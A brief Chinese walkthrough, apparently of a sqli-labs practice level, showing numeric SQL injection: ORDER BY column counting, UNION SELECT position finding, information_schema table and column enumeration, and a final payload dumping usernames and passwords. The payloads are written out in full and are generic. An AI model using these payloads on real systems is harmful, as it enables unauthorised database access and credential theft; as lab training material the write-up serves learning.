初始样子。
首先就是判断是什么类型的注入:?id=1' and '1'='1 回显正常则说明需要闭合单引号,是字符型注入,回显不正常则是数字型注入。
回显不正常,数字型注入。无需闭合单引号。
那接下来就是猜解字段数了,?id=1 order by 1--+ 回显正常
?id=1 order by 2--+ 回显正常
?id=1 order by 3--+ 回显正常
?id=1 order by 4--+ 回显错误信息
说明有三个回显字段,在接下来用union来爆出具体回显字段的位置。
?id=-1 union select 1,2,3--+
回显的位置是2,3.
查看数据库名database()和数据库版本version()
查看数据库用户user()和操作系统版本@@version_compile_os
获取表名:?id=-1 union select 1,2,group_concat(hex(table_name)) from information_schema.tables where table_schema=database()(这里使用十六进制显示是因为我没改information_schema.tables的编码)
解密出来分别是:emails,referers,uagents,users。
获取users表的列名:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
截屏没截完....
解密出来:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password。
然后就可以查看username和password了:?id=-1 union select 1,2,group_concat(username,0x3a,password) from users,0x3a是冒号:。
到这里就可以一目了然了,获得了重要的信息username和password。